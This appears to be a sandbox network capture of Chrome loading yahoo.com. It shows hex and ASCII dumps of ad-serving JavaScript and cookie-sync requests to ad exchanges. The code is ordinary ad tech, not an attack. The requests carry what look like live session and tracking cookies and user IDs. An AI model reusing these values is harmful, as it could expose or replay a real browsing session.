2024-04-27 22:42:05 UTC	1300	IN	Data Raw: 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 6f 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 6e 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 28 6f 2e 72 65 61 64 79 53 74 61 74 65 3f 6f 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 6c 6f 61 64 65 64 22 21 3d 3d 6f 2e 72 65 61 64 79 53 74 61 74 65 26 26 22 63 6f 6d 70 6c 65 74 65 22 21 3d 3d 6f 2e 72 65 61 64 79 53 74 61 74 65 7c 7c 28 6f 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 6e 75 6c 6c 2c 6e 28 29 29 7d 3a 6f 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 28 29 7d 29 3b 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 26 26 28 6f 2e 6f 6e Data Ascii: Element("script");o.type="text/javascript",n&&"function"==typeof n&&(o.readyState?o.onreadystatechange=function(){"loaded"!==o.readyState&&"complete"!==o.readyState\|\|(o.onreadystatechange=null,n())}:o.onload=function(){n()});r&&"function"==typeof r&&(o.on
2024-04-27 22:42:05 UTC	1300	IN	Data Raw: 3d 74 26 26 61 28 65 5b 74 5d 29 26 26 22 22 21 3d 3d 65 5b 74 5d 26 26 28 72 5b 74 5d 3d 65 5b 74 5d 29 7d 29 2c 72 7d 2c 65 2e 66 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 72 65 74 75 72 6e 20 65 2e 68 72 65 66 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 2c 7b 68 72 65 66 3a 65 2e 68 72 65 66 2c 70 72 6f 74 6f 63 6f 6c 3a 28 65 2e 70 72 6f 74 6f 63 6f 6c 7c 7c 22 22 29 2e 72 65 70 6c 61 63 65 28 2f 3a 24 2f 2c 22 22 29 2c 68 6f 73 74 6e 61 6d 65 3a 65 2e 68 6f 73 74 6e 61 6d 65 2c 70 6f 72 74 3a 2b 65 2e 70 6f 72 74 2c 70 61 74 68 6e 61 6d 65 3a 65 2e 70 61 74 68 6e 61 6d 65 2e 72 65 70 6c 61 63 65 28 2f 5e 28 3f 21 5c 2f 29 2f 2c 22 Data Ascii: =t&&a(e[t])&&""!==e[t]&&(r[t]=e[t])}),r},e.f=function(t){var e=document.createElement("a");return e.href=decodeURIComponent(t),{href:e.href,protocol:(e.protocol\|\|"").replace(/:$/,""),hostname:e.hostname,port:+e.port,pathname:e.pathname.replace(/^(?!\/)/,"
2024-04-27 22:42:05 UTC	1300	IN	Data Raw: 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 74 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 28 29 2c 31 7d 63 61 74 63 68 28 74 29 7b 7d 7d 28 74 29 7d 28 65 29 7d 2c 65 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 28 21 74 2e 24 73 66 7c 7c 21 74 2e 24 73 66 2e 65 78 74 29 7d 2c 65 2e 61 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 21 31 2c 6e 3d 74 3b 66 6f 72 28 3b 21 65 3b 29 7b 74 72 79 7b 69 66 28 6e 2e 70 62 6a 73 29 7b 65 3d 21 30 3b 62 72 65 61 6b 7d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 6e 3d 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 62 72 65 61 6b 3b 6e 3d 6e 2e 70 61 72 65 6e 74 7d 72 65 74 75 72 6e 20 65 7d 2c 65 2e 63 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 6d Data Ascii: ){try{return t.top.location.toString(),1}catch(t){}}(t)}(e)},e.d=function(t){return!(!t.$sf\|\|!t.$sf.ext)},e.a=function(t){var e=!1,n=t;for(;!e;){try{if(n.pbjs){e=!0;break}}catch(t){}if(n===window.top)break;n=n.parent}return e},e.c=function(t){return t&&"m
2024-04-27 22:42:05 UTC	1300	IN	Data Raw: 63 75 6d 65 6e 74 22 2c 6d 65 73 73 61 67 65 3a 22 43 61 6e 6e 6f 74 20 72 65 6e 64 65 72 20 76 69 64 65 6f 20 61 64 20 22 2e 63 6f 6e 63 61 74 28 64 29 7d 29 2c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 45 72 72 6f 72 20 74 72 79 69 6e 67 20 74 6f 20 77 72 69 74 65 20 61 64 2e 22 29 29 3a 61 3f 28 72 3d 4f 62 6a 65 63 74 28 68 2e 61 29 28 6e 2e 68 65 69 67 68 74 2c 6e 2e 77 69 64 74 68 29 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 72 29 2c 72 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 2e 6f 70 65 6e 28 29 2c 72 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 61 29 2c 72 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 2e 63 6c 6f 73 65 28 29 2c 6c 28 21 30 29 29 3a 73 3f 28 28 6f 3d 4f 62 6a 65 63 74 28 68 2e 61 29 28 75 2c 63 29 Data Ascii: cument",message:"Cannot render video ad ".concat(d)}),console.log("Error trying to write ad.")):a?(r=Object(h.a)(n.height,n.width),i.appendChild(r),r.contentDocument.open(),r.contentDocument.write(a),r.contentDocument.close(),l(!0)):s?((o=Object(h.a)(u,c)
2024-04-27 22:42:05 UTC	1017	IN	Data Raw: 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 6f 29 2c 69 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 74 2c 22 2a 22 2c 5b 6e 2e 70 6f 72 74 32 5d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 75 6c 6c 21 3d 72 26 26 28 69 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 6f 29 2c 72 2e 6f 6e 6d 65 73 73 61 67 65 3d 6e 75 6c 6c 2c 72 3d 6e 75 6c 6c 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 65 28 74 29 7d 7d 7d 3b 76 61 72 20 72 3d 6e 28 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 61 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 28 63 2e 68 29 28 74 29 2c 65 3d 74 2e 63 61 63 68 65 48 6f 73 74 2c Data Ascii: stener("message",o),i.parent.postMessage(t,"*",[n.port2])),function(){null!=r&&(i.removeEventListener("message",o),r.onmessage=null,r=null)};function o(t){e(t)}}};var r=n(0)},function(t,e,n){"use strict";e.a=function(t){var t=Object(c.h)(t),e=t.cacheHost,
2024-04-27 22:42:05 UTC	1300	IN	Data Raw: 22 2a 22 29 29 29 29 3a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 54 61 72 67 65 74 69 6e 67 20 6b 65 79 20 68 62 5f 73 69 7a 65 20 6e 6f 74 20 66 6f 75 6e 64 20 74 6f 20 72 65 73 69 7a 65 20 63 72 65 61 74 69 76 65 22 29 7d 66 75 6e 63 74 69 6f 6e 20 79 28 61 2c 73 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 69 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3b 74 72 79 7b 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 74 29 7d 63 61 74 63 68 28 74 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 45 72 72 6f 72 20 70 61 72 73 69 6e 67 20 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 63 61 63 68 65 20 68 6f 73 74 3a 20 22 2e 63 6f 6e 63 61 74 28 74 29 29 7d 72 65 74 75 72 6e 20 65 7d 28 74 29 2c 74 3d 65 2e 70 72 69 63 65 7c 7c 73 Data Ascii: "*")))):console.log("Targeting key hb_size not found to resize creative")}function y(a,s){return function(t){var i,e=function(t){var e;try{e=JSON.parse(t)}catch(t){console.log("Error parsing response from cache host: ".concat(t))}return e}(t),t=e.price\|\|s
2024-04-27 22:42:05 UTC	1300	IN	Data Raw: 63 75 6d 65 6e 74 2c 22 62 6f 64 79 22 29 2c 4f 62 6a 65 63 74 28 63 2e 6a 29 28 74 2c 72 2c 6f 29 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 4f 62 6a 65 63 74 28 63 2e 64 29 28 29 3b 72 65 74 75 72 6e 27 3c 64 69 76 20 69 64 3d 22 27 2e 63 6f 6e 63 61 74 28 72 2c 27 22 20 73 74 79 6c 65 3d 22 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 5c 6e 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 27 29 2e 63 6f 6e 63 61 74 28 72 2c 27 5f 69 6e 6e 65 72 22 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 20 77 69 64 74 68 3a 27 29 2e 63 6f 6e 63 61 74 28 Data Ascii: cument,"body"),Object(c.j)(t,r,o)))}}function m(t,e,n){var r=Object(c.d)();return'<div id="'.concat(r,'" style="border-style: none; position: absolute; width:100%; height:100%;">\n <div id="').concat(r,'_inner" style="margin: 0 auto; width:').concat(
2024-04-27 22:42:05 UTC	1300	IN	Data Raw: 69 6f 6e 28 74 29 7b 7b 69 66 28 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 65 3d 7b 7d 3b 69 66 28 6e 75 6c 6c 21 3d 74 29 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 6e 29 26 26 28 65 5b 6e 5d 3d 74 5b 6e 5d 29 3b 72 65 74 75 72 6e 20 65 2e 64 65 66 61 75 6c 74 3d 74 2c 65 7d 7d 28 6e 28 34 29 29 3b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 7d 76 61 72 20 69 3d 7b 61 66 74 65 72 41 73 79 6e 63 3a 75 2c 61 66 74 65 72 44 65 71 75 65 75 65 3a 75 2c 61 66 74 65 72 53 74 72 65 61 6d 53 74 61 72 74 3a 75 2c 61 66 74 65 72 57 72 69 74 65 3a 75 2c 61 75 74 6f 46 69 78 3a 21 30 2c 62 65 66 6f 72 65 45 6e Data Ascii: ion(t){{if(t&&t.__esModule)return t;var e={};if(null!=t)for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e.default=t,e}}(n(4));function u(){}var i={afterAsync:u,afterDequeue:u,afterStreamStart:u,afterWrite:u,autoFix:!0,beforeEn
2024-04-27 22:42:05 UTC	1300	IN	Data Raw: 29 3b 76 61 72 20 72 3d 5b 74 3d 2f 5e 23 2f 2e 74 65 73 74 28 74 29 3f 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 2e 73 75 62 73 74 72 28 31 29 29 3a 74 2e 6a 71 75 65 72 79 3f 74 5b 30 5d 3a 74 2c 65 2c 6e 5d 3b 72 65 74 75 72 6e 20 74 2e 70 6f 73 74 73 63 72 69 62 65 3d 7b 63 61 6e 63 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 73 74 72 65 61 6d 3f 72 2e 73 74 72 65 61 6d 2e 61 62 6f 72 74 28 29 3a 72 5b 31 5d 3d 75 7d 7d 2c 6e 2e 62 65 66 6f 72 65 45 6e 71 75 65 75 65 28 72 29 2c 61 2e 70 75 73 68 28 72 29 2c 70 7c 7c 64 28 29 2c 74 2e 70 6f 73 74 73 63 72 69 62 65 7d 73 28 66 2c 7b 73 74 72 65 61 6d 73 3a 7b 7d 2c 71 75 65 75 65 3a 61 2c 57 72 69 74 65 53 74 72 65 61 6d 3a 63 2e 64 65 66 61 75 Data Ascii: );var r=[t=/^#/.test(t)?window.document.getElementById(t.substr(1)):t.jquery?t[0]:t,e,n];return t.postscribe={cancel:function(){r.stream?r.stream.abort():r[1]=u}},n.beforeEnqueue(r),a.push(r),p\|\|d(),t.postscribe}s(f,{streams:{},queue:a,WriteStream:c.defau

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	50075	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:05 UTC	1278	OUT	GET /setuid?bidder=sonobi&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=2d729954-b637-472c-acf0-d931fcda5d4a HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:05 UTC	841	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJzb25vYmkiOnsidWlkIjoiMmQ3Mjk5NTQtYjYzNy00NzJjLWFjZjAtZDkzMWZjZGE1ZDRhIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDUuOTE4MzUyMTUzWiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Expires=Sat, 26 Oct 2024 22:42:05 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:05 GMT x-envoy-upstream-service-time: 7 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:05 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	50076	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:05 UTC	823	OUT	GET /w/1.0/pd?cc=1&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: yahoo-bidout-d.openx.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724
2024-04-27 22:42:05 UTC	622	IN	HTTP/1.1 200 OK Vary: Accept, Accept-Encoding Set-Cookie: i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; Version=1; Expires=Sun, 27-Apr-2025 22:42:05 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Set-Cookie: pd=v2\|1714257725\|vMgavPkWgyiK; Version=1; Expires=Sun, 12-May-2024 22:42:05 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Date: Sat, 27 Apr 2024 22:42:05 GMT Content-Type: text/html Content-Length: 880 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:05 UTC	880	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 3e 69 66 28 22 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 66 65 61 74 75 72 65 50 6f 6c 69 63 79 2e 61 6c 6c 6f 77 73 46 65 61 74 75 72 65 28 22 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 22 29 29 64 6f 63 75 6d 65 6e 74 2e 62 72 6f 77 73 69 6e 67 54 6f 70 69 63 73 28 29 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2d 74 6d 2e 65 76 65 72 65 73 74 74 65 63 68 2e 6e 65 74 2f 75 70 69 2f 70 69 64 2f 6e 79 37 35 72 32 78 30 3f 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 Data Ascii: <html><head><title>Pixels</title></head><body><script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script><img src="https://sync-tm.everesttech.net/upi/pid/ny75r2x0?redir=https%3A%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	50078	3.33.220.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:05 UTC	650	OUT	GET /track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	513	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:05 GMT Content-Length: 235 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:05 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsIkJ3W7r_F8zwQBTgB; expires=Sun, 27 Apr 2025 22:42:05 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:06 UTC	235	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 72 69 67 68 74 6d 65 64 69 61 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 72 69 67 68 74 6d 65 64 69 61 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1">https://match.adsrvr.org/track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	50079	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:06 UTC	791	OUT	GET /sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250 HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:06 UTC	831	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/html Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 5602 Date: Sat, 27 Apr 2024 22:42:06 GMT Expires: Sun, 27 Apr 2025 22:42:06 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 21 Mar 2024 14:01:53 GMT X-Content-Type-Options: nosniff Allow-Fenced-Frame-Automatic-Beacons: true X-DNS-Prefetch-Control: off Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:06 UTC	424	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 37 32 38 78 39 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 64 2e 73 69 7a 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 33 30 30 2c 68 65 69 67 68 74 3d 36 30 30 22 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 Data Ascii: <!doctype html><html> <head> <title>728x90</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /><meta name="ad.size" content="width=300,height=600"> <script type="text/java
2024-04-27 22:42:06 UTC	1255	IN	Data Raw: 20 33 34 3b 0a 20 20 20 20 76 61 72 20 43 4c 49 43 4b 5f 58 5f 55 52 4c 5f 4b 45 59 20 3d 20 27 6e 78 27 3b 0a 20 20 20 20 76 61 72 20 43 4c 49 43 4b 5f 59 5f 55 52 4c 5f 4b 45 59 20 3d 20 27 6e 79 27 3b 0a 20 20 20 20 76 61 72 20 43 52 45 41 54 49 56 45 5f 44 49 4d 45 4e 53 49 4f 4e 53 5f 4b 45 59 20 3d 20 27 64 69 6d 27 3b 0a 20 20 20 20 76 61 72 20 41 44 5f 55 52 4c 5f 50 41 52 41 4d 20 3d 20 27 26 61 64 75 72 6c 3d 27 3b 0a 0a 20 20 20 20 76 61 72 20 72 65 6c 65 67 61 74 65 4e 61 76 69 67 61 74 69 6f 6e 20 3d 20 27 27 3b 0a 20 20 20 20 76 61 72 20 75 72 6c 50 61 72 61 6d 4d 61 70 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 76 61 72 20 69 73 4e 65 77 74 6f 6e 54 6f 6b 65 6e 53 65 74 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 76 61 72 20 69 73 54 75 72 74 6c 65 Data Ascii: 34; var CLICK_X_URL_KEY = 'nx'; var CLICK_Y_URL_KEY = 'ny'; var CREATIVE_DIMENSIONS_KEY = 'dim'; var AD_URL_PARAM = '&adurl='; var relegateNavigation = ''; var urlParamMap = {}; var isNewtonTokenSet = false; var isTurtle
